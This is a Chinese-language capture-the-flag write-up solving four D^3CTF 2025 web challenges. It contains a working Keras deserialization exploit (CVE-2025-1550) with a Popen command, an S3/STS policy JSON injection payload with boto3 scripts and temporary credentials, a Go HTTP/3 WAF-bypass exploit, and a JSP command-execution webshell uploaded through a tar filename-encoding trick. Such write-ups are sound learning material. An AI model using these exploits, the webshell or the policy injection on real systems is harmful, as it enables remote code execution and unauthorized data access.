d3model CVE-2025-1550 考察 CVE-2025-1550 ,参考文章:
https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models 
https://jfrog.com/blog/keras-safe_mode-bypass-vulnerability/ 
CVE-2025-1550 大致讲的是 Keras 模型的一个反序列化任意代码执行漏洞。Keras 的模型加载流程由 load_model 函数启动。该函数会根据模型类型和文件扩展名执行不同的加载路径。当调用 _load_model_from_fileobj 函数时,会提取 ZIP 文件的内容并开始重建模型。在此阶段,会检查 config.json 文件,并调用 _model_from_config 函数。将 JSON 对象加载到内存后,会调用 deserialize_keras_object 函数将序列化的结构转换回对象。
打开题目,是一个文件上传界面:
 
附件中包含了源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import keras from flask import Flask, request, jsonify import os def is_valid_model(modelname):     try:         keras.models.load_model(modelname)     except:         return False     return True app = Flask(__name__) @app.route('/', methods=['GET']) def index():     return open('index.html').read() @app.route('/upload', methods=['POST']) def upload_file():     if 'file' not in request.files:         return jsonify({'error': 'No file part'}), 400          file = request.files['file']          if file.filename == '':         return jsonify({'error': 'No selected file'}), 400          MAX_FILE_SIZE = 50 * 1024 * 1024  # 50MB     file.seek(0, os.SEEK_END)     file_size = file.tell()     file.seek(0)          if file_size > MAX_FILE_SIZE:         return jsonify({'error': 'File size exceeds 50MB limit'}), 400          filepath = os.path.join('./', 'test.keras')     if os.path.exists(filepath):         os.remove(filepath)     file.save(filepath)          if is_valid_model(filepath):         return jsonify({'message': 'Model is valid'}), 200     else:         return jsonify({'error': 'Invalid model file'}), 400 if __name__ == '__main__':     app.run(host='0.0.0.0', port=5000) 
 
从源码中分析,可知其会把上传的文件保存成 ./test.keras ,随后调用 is_valid_model 函数进行处理:
 
is_valid_model 中使用 load_model 来加载模型,而这正是漏洞的触发点:
 
此处并不需要过多地关心漏洞细节,在参考文章的最后给出了 exp :
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import zipfile import json from keras.models import Sequential from keras.layers import Dense import numpy as np model_name="model.keras" x_train = np.random.rand(100, 28*28)   y_train = np.random.rand(100)  model = Sequential([Dense(1, activation='linear', input_dim=28*28)]) model.compile(optimizer='adam', loss='mse') model.fit(x_train, y_train, epochs=5) model.save(model_name) with zipfile.ZipFile(model_name,"r") as f:     config=json.loads(f.read("config.json").decode())      config["config"]["layers"][0]["module"]="keras.models" config["config"]["layers"][0]["class_name"]="Model" config["config"]["layers"][0]["config"]={     "name":"mvlttt",     "layers":[         {             "name":"mvlttt",             "class_name":"function",             "config":"Popen",             "module": "subprocess",             "inbound_nodes":[{"args":[["touch","/tmp/1337"]],"kwargs":{"bufsize":-1}}]         }],             "input_layers":[["mvlttt", 0, 0]],             "output_layers":[["mvlttt", 0, 0]]         } with zipfile.ZipFile(model_name, 'r') as zip_read:     with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:         for item in zip_read.infolist():             if item.filename != "config.json":                 zip_write.writestr(item, zip_read.read(item.filename)) os.remove(model_name) os.rename(f"tmp.{model_name}",model_name) with zipfile.ZipFile(model_name,"a") as zf:         zf.writestr("config.json",json.dumps(config)) print("[+] Malicious model ready") 
 
添加好依赖,直接运行,会在当前目录生成一个 model.keras 文件:
 
对了,命令记得改一下。
接下来会遇到一个问题,那就是本地能打通,远程没反应。考虑无回显和不出网的情况,执行以下命令:
1 "args":[["sh", "-c", "env>>/app/index.html"]] 
 
将环境变量追加进 /app/index.html 文件中。至于这个路径是怎么来的,查看 dockerfile 就知道了:
 
拿到 flag :
 
d3invitation 这道题给了两个环境,一个是 web 服务端,一个是云存储桶:
 
web 端可以上传名称和头像生成一个邀请函:
 
在这里抓包就能发现响应包中返回了 key 和 secret 等信息:
 
我们可以看到这是一个获取凭证的接口。并且下一个请求就使用了这个凭证:
 
尝试用这个信息来连接云存储桶,能连,但提示权限拒绝:
 
应该是临时凭证。
于是我们尝试在获取凭证的地方进行 json 注入,构造一个这样的请求体:
1 {"object_name":"*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:ListAllMyBuckets\"],\"Resource\":[\"*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:GetObject\",\"s3:PutObject\"],\"Resource\":[\"arn:aws:s3:::flag/*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:ListBucket\"],\"Resource\":[\"arn:aws:s3:::flag"} 
 
拿到凭证:
 
在这个凭证中,我们为自己赋予了三种权限:
s3:ListAllMyBuckets 对所有桶("*")的列表权限 
s3:GetObject/s3:PutObject 对 arn:aws:s3:::flag/* 的读写权限 
s3:ListBucket 对 arn:aws:s3:::flag 的列举权限 
 
更换凭证,重新测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import boto3 from botocore.client import Config s3 = boto3.client(     's3',     endpoint_url='http://35.241.98.126:31644',     aws_access_key_id='YTTMZPWHSR05QD9W1LU4',     aws_secret_access_key='jbdAgNFdjSMKTYCrm2k6BSuqN32T3g2s1MDRDM9i',     aws_session_token='eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJZVFRNWlBXSFNSMDVRRDlXMUxVNCIsImV4cCI6MTc0ODc1NDA3NiwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2t4cGMzUkJiR3hOZVVKMVkydGxkSE1pWFN3aVVtVnpiM1Z5WTJVaU9sc2lLaW9pWFgwc2V5SkZabVpsWTNRaU9pSkJiR3h2ZHlJc0lrRmpkR2x2YmlJNld5SnpNenBRZFhSUFltcGxZM1FpTENKek16cEhaWFJQWW1wbFkzUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjdktpSmRmU3g3SWtWbVptVmpkQ0k2SWtGc2JHOTNJaXdpUVdOMGFXOXVJanBiSW5Nek9reHBjM1JDZFdOclpYUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjaVhYMWRmUT09In0.59IwPi6Q1r0U1sqJzq-6Mg-TL4LUxslfJrXUyqZPX_BJQf0iQfoEoL_7XDmKrwg1fDCnEq9u2kzxZBlObFx3Sg',     config=Config(signature_version='s3v4'), ) # 列出所有存储桶 response = s3.list_buckets() for bucket in response.get('Buckets', []):     print(bucket['Name']) 
 
 
这一次我们能够列出所有桶信息,发现 flag 桶。
下一步列出 flag 桶中的所有 key :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import boto3 from botocore.client import Config s3 = boto3.client(     's3',     endpoint_url='http://35.241.98.126:31644',     aws_access_key_id='YTTMZPWHSR05QD9W1LU4',     aws_secret_access_key='jbdAgNFdjSMKTYCrm2k6BSuqN32T3g2s1MDRDM9i',     aws_session_token='eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJZVFRNWlBXSFNSMDVRRDlXMUxVNCIsImV4cCI6MTc0ODc1NDA3NiwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2t4cGMzUkJiR3hOZVVKMVkydGxkSE1pWFN3aVVtVnpiM1Z5WTJVaU9sc2lLaW9pWFgwc2V5SkZabVpsWTNRaU9pSkJiR3h2ZHlJc0lrRmpkR2x2YmlJNld5SnpNenBRZFhSUFltcGxZM1FpTENKek16cEhaWFJQWW1wbFkzUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjdktpSmRmU3g3SWtWbVptVmpkQ0k2SWtGc2JHOTNJaXdpUVdOMGFXOXVJanBiSW5Nek9reHBjM1JDZFdOclpYUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjaVhYMWRmUT09In0.59IwPi6Q1r0U1sqJzq-6Mg-TL4LUxslfJrXUyqZPX_BJQf0iQfoEoL_7XDmKrwg1fDCnEq9u2kzxZBlObFx3Sg',     config=Config(signature_version='s3v4'), ) bucket_name = "flag" # 列出桶内容 response = s3.list_objects_v2(Bucket=bucket_name) # 遍历并打印每个对象的 Key(即“路径/文件名”) if 'Contents' in response:     for obj in response['Contents']:         print(obj['Key']) else:     print(f"Bucket '{bucket_name}' 中没有对象。") 
 
发现一个 key 为 flag :
 
最后列出 flag 桶的 flag key 的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import boto3 from botocore.client import Config s3 = boto3.client(     's3',     endpoint_url='http://35.241.98.126:31644',     aws_access_key_id='YTTMZPWHSR05QD9W1LU4',     aws_secret_access_key='jbdAgNFdjSMKTYCrm2k6BSuqN32T3g2s1MDRDM9i',     aws_session_token='eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJZVFRNWlBXSFNSMDVRRDlXMUxVNCIsImV4cCI6MTc0ODc1NDA3NiwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2t4cGMzUkJiR3hOZVVKMVkydGxkSE1pWFN3aVVtVnpiM1Z5WTJVaU9sc2lLaW9pWFgwc2V5SkZabVpsWTNRaU9pSkJiR3h2ZHlJc0lrRmpkR2x2YmlJNld5SnpNenBRZFhSUFltcGxZM1FpTENKek16cEhaWFJQWW1wbFkzUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjdktpSmRmU3g3SWtWbVptVmpkQ0k2SWtGc2JHOTNJaXdpUVdOMGFXOXVJanBiSW5Nek9reHBjM1JDZFdOclpYUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjaVhYMWRmUT09In0.59IwPi6Q1r0U1sqJzq-6Mg-TL4LUxslfJrXUyqZPX_BJQf0iQfoEoL_7XDmKrwg1fDCnEq9u2kzxZBlObFx3Sg',     config=Config(signature_version='s3v4'), ) # 2. 指定桶名和对象键名 bucket_name = 'flag' object_key  = 'flag' # 3. 调用 get_object 获取对象 response = s3.get_object(Bucket=bucket_name, Key=object_key) # 4. 读取 Body —— 这是一个 StreamingBody,对大文件会分块读取。 #    如果内容是文本(如纯 ASCII/UTF-8),可以 decode 成字符串;若是二进制则根据需要处理。 body_stream = response['Body'] content_bytes = body_stream.read()            # 读出所有字节 try:     content_str = content_bytes.decode('utf-8')   # 尝试按 UTF-8 解码(若确实是文本) except UnicodeDecodeError:     # 如果不是文本,content_bytes 就是原始二进制,你可以按需保存或处理     content_str = None # 5. 打印结果 if content_str is not None:     print("flag 的内容:")     print(content_str) else:     print("读取到二进制数据,共 {} 字节,需要按二进制方式处理:".format(len(content_bytes)))     # 例如:写到本地文件     with open('flag_download.bin', 'wb') as f:         f.write(content_bytes)     print("已保存到 flag_download.bin") 
 
拿到 flag :
 
获取凭证处 json 注入 下面简单解释一下为什么我们构造一个那样的 json 数据能够为凭证赋予更高的权限。
这是一次典型的“JSON Policy Injection”利用——利用 object_name 参数的不当拼接,向最终的 IAM Policy 里插入了额外的语句,从而拿到了更高权限的临时凭证。下面分几步来说明:
服务端如何生成 STS Policy(简化示例) 
 
我们用一个伪代码展示后端在收到请求后,如何把传进来的 object_name 拼到一个基础的 Policy 里,大体流程可能像这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 let  objectName = request.body .object_name ; let  statement = {  "Effect" : "Allow" ,   "Action" : ["s3:GetObject" , "s3:PutObject" ],   "Resource" : ["arn:aws:s3:::your-bucket/"  + objectName] }; let  policyDocument = {  "Version" : "2012-10-17" ,   "Statement" : [       statement   ] }; let  creds = STS .assumeRole ({    RoleArn : "..." ,     Policy : JSON .stringify (policyDocument),     DurationSeconds : 3600  }); 
 
这段伪代码的关键在于:我们假定服务端没有对 objectName 做严格的结构校验或转义,而是直接拼接到最初的 Policy JSON 里。
请求拼接 
 
正常状态下,客户端提交:
1 {"object_name":"aaa.jpg"} 
 
那么实际构造出来的 policyDocument(经过 JSON.stringify 后)就类似于:
1 2 3 4 5 6 7 8 9 10 {   "Version": "2012-10-17",   "Statement": [     {       "Effect": "Allow",       "Action": ["s3:GetObject", "s3:PutObject"],       "Resource": ["arn:aws:s3:::your-bucket/aaa.jpg"]     }   ] } 
 
而当我们把请求体改为:
1 { "object_name" : "*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:ListAllMyBuckets\"],\"Resource\":[\"*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:GetObject\",\"s3:PutObject\"],\"Resource\":[\"arn:aws:s3:::flag/*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:ListBucket\"],\"Resource\":[\"arn:aws:s3:::flag" } 
 
拼完后,整个 policyDocument 看起来就成了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 {   "Version":"2012-10-17",   "Statement":[     {       "Effect":"Allow",       "Action":["s3:GetObject","s3:PutObject"],       "Resource":["arn:aws:s3:::your-bucket/*"]     },                                 // 闭合前面的     // ----- 以下全是我们注入的三条 Statement:     {       "Effect":"Allow",       "Action":["s3:ListAllMyBuckets"],       "Resource":["*"]     },     {       "Effect":"Allow",       "Action":["s3:GetObject","s3:PutObject"],       "Resource":["arn:aws:s3:::flag/*"]     },     {       "Effect":"Allow",       "Action":["s3:ListBucket"],       "Resource":["arn:aws:s3:::flag"]     }     // 这里只有一个 },是拼回外层的 "]}" 那个   ] } 
 
通过这种方式,我们可以为自己赋予任何想要的权限。
tidy quic 题目提示:
 
题目给了附件,是用 go 搭建的 http3 服务器,并且有使用证书。直接使用附件中给出的证书会报错,所以在编写客户端代码的时候一定要这样来跳过证书校验:
1 2 3 4 5 6 7 // ========== 2. 构造一个支持 HTTP/3 的 http.Client ========== 	rt := &http3.RoundTripper{ 		TLSClientConfig: &tls.Config{ 			RootCAs:            certPool, 			InsecureSkipVerify: true, // 跳过证书校验(只用于测试) 		}, 	} 
 
从题目代码可知,如果读到的请求体为 “I want flag” 则会弹出 flag :
 
直接发送会被 waf 拦截:
 
缓冲区重用 下面我们来细看一下 waf 的运作原理。
首先,程序读取 Content-Length 头:
如果没有设置 Content-Length 头(默认 -1),则将请求体 r.Body 一次性读完,并且在读取过程中用 textInterrupterWrap 检查请求体;
如果设置了 Content-Length 头,则根据 length 为其分配相等大小的缓冲区 buf ,先将请求体存入 buf ,然后再调用 textInterrupterWrap 进行检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 var buf []byte 	length := int(r.ContentLength) 	if length == -1 { 		var err error 		buf, err = io.ReadAll(textInterrupterWrap(r.Body)) 		if err != nil { 			if errors.Is(err, ErrWAF) { 				w.WriteHeader(400) 				_, _ = w.Write([]byte("WAF")) 			} else { 				w.WriteHeader(500) 				_, _ = w.Write([]byte("error")) 			} 			return 		} 	} else { 		buf = p.Get(length) 		defer p.Put(buf) 		rd := textInterrupterWrap(r.Body) 		i := 0 		for { 			n, err := rd.Read(buf[i:]) 			if err != nil { 				if errors.Is(err, io.EOF) { 					break 				} else if errors.Is(err, ErrWAF) { 					w.WriteHeader(400) 					_, _ = w.Write([]byte("WAF")) 					return 				} else { 					w.WriteHeader(500) 					_, _ = w.Write([]byte("error")) 					return 				} 			} 			i += n 		} 	} 
 
textInterrupterWrap 就是检查请求体中是否包含 “flag” ,如果包含就会报错:
 
那么利用思路就能够想到了:先发送一个 “I want flag” ,并且带上 Content-Length 头为 11 。
这样其会把这个字符串存入的缓存 buf 中,就算被 waf 了也没关系,我们的 “I want flag” 已经存在了 buf 中。
随后发送下一个请求,比如这次的请求体只发送一个 “I” ,Content-Length 头仍然设置为 11 ,这个 “I” ,并不包含 “flag” 字符串,可以绕过 waf 。这个 “I” 会被加入到 buf 中,覆盖原来的第一个字符,构成的还是 “I want flag” 。于是拿到 flag 。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package main import ( 	"bytes" 	"crypto/tls" 	"fmt" 	"io" 	"log" 	"net/http" 	http3 "github.com/quic-go/quic-go/http3" ) func main() { 	// 构造一个支持 HTTP/3 的客户端,跳过证书校验(仅测试用) 	rt := &http3.RoundTripper{ 		TLSClientConfig: &tls.Config{ 			InsecureSkipVerify: true, 		}, 	} 	defer rt.Close() 	client := &http.Client{Transport: rt} 	// --------------------------- 	// 第一次请求:发送 "I want flag",长度 11 	// --------------------------- 	bodyBytes := []byte("I want flag") // 长度为 11 	bodyReader := bytes.NewReader(bodyBytes) 	req, err := http.NewRequest("POST", "https://35.241.98.126:30226/", bodyReader) 	if err != nil { 		log.Fatalf("第一次 NewRequest 失败: %v", err) 	} 	req.Header.Set("Content-Type", "text/plain") 	req.ContentLength = 11 // 11 	resp, err := client.Do(req) 	if err != nil { 		log.Fatalf("第一次请求失败: %v", err) 	} 	defer resp.Body.Close() 	respData, err := io.ReadAll(resp.Body) 	if err != nil { 		log.Fatalf("读取第一次响应失败: %v", err) 	} 	fmt.Printf("第一次请求 状态码:%d\n", resp.StatusCode) 	fmt.Printf("第一次请求 响应 Body:\n%s\n", string(respData)) 	// --------------------------- 	// 第一次请求:发送 "I",长度 11 	// --------------------------- 	emptyPadding := []byte("I") 	bodyReader2 := bytes.NewReader(emptyPadding) 	req2, err := http.NewRequest("POST", "https://35.241.98.126:30226/", bodyReader2) 	if err != nil { 		log.Fatalf("第二次 NewRequest 失败: %v", err) 	} 	req2.Header.Set("Content-Type", "text/plain") 	req2.ContentLength = 11 	resp2, err := client.Do(req2) 	if err != nil { 		log.Fatalf("第二次请求失败: %v", err) 	} 	defer resp2.Body.Close() 	respData2, err := io.ReadAll(resp2.Body) 	if err != nil { 		log.Fatalf("读取第二次响应失败: %v", err) 	} 	fmt.Printf("第二次请求 状态码:%d\n", resp2.StatusCode) 	fmt.Printf("第二次请求 响应 Body:\n%s\n", string(respData2)) } 
 
拿到 flag :
 
d3jtar 这道题给了附件,题目有三个接口。
/view 用来查看 /WEB-INF/views/ 目录下后缀为 .jsp 的文件,参数 page 被限制为只能输入字母数字:
 
/Upload 用来上传文件,上传的路径为 webapps/ROOT/WEB-INF/views ,其中有文件后缀黑名单:
 
secureUpload 被调用:
 
其中除了文件后缀黑名单之外还有对文件名的过滤:
 
以及将文件名随机化处理:
 
/BackUp 用来压缩和解压缩,压缩时传入 op=tar ,会将 webapps/ROOT/WEB-INF/views/ 目录下的所有文件压缩成 backup.tar,解压缩时传入 op=untar ,会将 webapps/ROOT/WEB-INF/views/backup.tar 解压缩:
 
综上,整理思路。
1、可控的只有文件后缀名和文件内容
2、由于上传的文件名会被随机化,要想得到 backup.tar 文件,只能通过调用压缩接口。
3、由于 /view 接口只能读取后缀为 .jsp 的文件,并且也被限死为字母数字,于是推测解压后的文件后缀一定是 .jsp ,否则无法读取。
4、由于上传文件有后缀黑名单,故不可能直接上传 .jsp 文件。那么可能是上传某个后缀名经过压缩和解压缩变换之后得到了 .jsp 后缀名。
基于以上思路,在不断的尝试下,发现如果后缀名为中文,经过压缩解压缩后会变为乱码:
 
压缩解压缩后:
 
记得在上传其他类型的后缀时要把 Content-Type 改为 application/octet-stream ,源码有校验:
 
于是立刻想到,有没有一种中文,可以让其在压缩解压缩后变为 jsp ?
下面研究一下 测 和 K 的关系,先看他们的 unicode 编码:
 
发现低位相同,高位由 6d -> 00 。测试其他汉字,发现结果也是一样。
于是我们以同样的思路得到 jsp 对应的中文:
1 2 jsp: \u006a\u0073\u0070 浪浳浰: \u6d6a\u6d73\u6d70 
 
最终得到这个中文为 浪浳浰 。以 浪浳浰 为后缀,压缩解压缩后会变成 jsp :
 
 
既然如此,我们就可以直接往文件内容写马,随便找个 jsp 马:
1 <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %> 
 
直接来测远程环境:
 
记住这个文件名,调用完压缩解压缩接口以后就可以直接访问这个马了:
 
拿到 flag 。
JTar 中文解压乱码 事后分析原因,大致如下:
JTar 默认用的是 ISO-8859-1(Latin-1)来写入和读取 .tar 条目名称,因此如果文件名中包含 UTF-8/GBK 编码的中文,就会出现乱码。
参考:https://github.com/kamranzafar/jtar/pull/36 
特别鸣谢 晨曦 、薄雾初零 、chleynx 、以及其他 NK 师傅
NK wp :D^3 CTF2025 WriteUp By N0wayBack 
官方 wp :D3CTF-2025-Official-Writeup